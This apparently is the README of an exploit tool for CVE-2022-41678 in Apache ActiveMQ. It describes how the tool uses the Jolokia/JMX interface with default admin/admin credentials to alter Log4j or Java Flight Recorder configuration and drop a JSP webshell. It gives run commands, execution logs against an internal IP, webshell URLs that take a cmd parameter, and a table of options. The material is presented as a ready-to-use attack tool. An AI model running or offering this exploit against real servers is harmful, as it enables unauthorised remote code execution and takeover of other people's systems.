urjack2025/cve-2022-41678CVE-2022-41678 是 Apache ActiveMQ 中的一个远程代码执行漏洞。该漏洞允许攻击者通过 JMX (Java Management Extensions) 接口修改 Log4j 配置或 JFR (Java Flight Recorder) 配置，从而写入恶意的 JSP webshell 到服务器的 web 目录中，最终实现远程代码执行。
Reference document: https://app.nextcyber.cn/courses/41/tasks/580
CVE-2022-41678 is a remote code execution vulnerability in Apache ActiveMQ. This vulnerability allows an attacker to modify Log4j configuration or JFR (Java Flight Recorder) configuration through the JMX (Java Management Extensions) interface, thereby writing a malicious JSP webshell to the server's web directory, ultimately achieving remote code execution.
This vulnerability affects multiple versions of Apache ActiveMQ, with the specific affected versions depending on the use of Log4j and JFR configurations.
pip install requests
/api/jolokia/ path)Using the default admin/admin credentials and auto-detection of the exploit method:
python exp.py http://target:8161
You can also specify the username and password via -u and -p parameters:
# Using Log4j
python exp.py -u admin -p admin http://10.22.174.214:8161
# Execution result as follows
python exp.py -u admin -p admin http://10.22.174.214:8161
2025-10-14 22:53:54,115 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automatically
2025-10-14 22:53:54,334 - INFO - update log config
2025-10-14 22:53:54,467 - INFO - write webshell to http://10.22.174.214:8161/admin/shell.jsp?cmd=id
2025-10-14 22:53:54,655 - INFO - restore log config
In addition to the default Log4j exploit method, you can also specify the JFR exploit method using the --exploit jfr parameter.
# Using JFR method
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161
# Execution result as follows
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161/
2025-10-14 23:16:35,978 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2025-10-14 23:16:37,390 - INFO - create flight record, id = 1
2025-10-14 23:16:37,533 - INFO - update configuration for record 1
2025-10-14 23:16:38,167 - INFO - start record
2025-10-14 23:16:39,243 - INFO - stop record
2025-10-14 23:16:39,309 - INFO - write webshell to http://10.22.174.214:8161/admin/shelljfr.jsp?cmd=id
After successful exploitation, you can execute commands by accessing the following URLs:
# Webshell written via Log4j method
http://target:8161/admin/shell.jsp?cmd=command
# Webshell written via JFR method
http://target:8161/admin/shelljfr.jsp?cmd=command
For example, to execute the id command:
http://target:8161/admin/shell.jsp?cmd=id
| Parameter | Abbreviation | Type | Default | Description |
|---|---|---|---|---|
--username | -u | string | admin | Username for the ActiveMQ console |
--password | -p | string | admin | Password for the ActiveMQ console |
--exploit | -e | string | auto | Exploit method, optional values: auto, log4j, jfr |
url | - | string | - | URL address of the target ActiveMQ (required parameter) |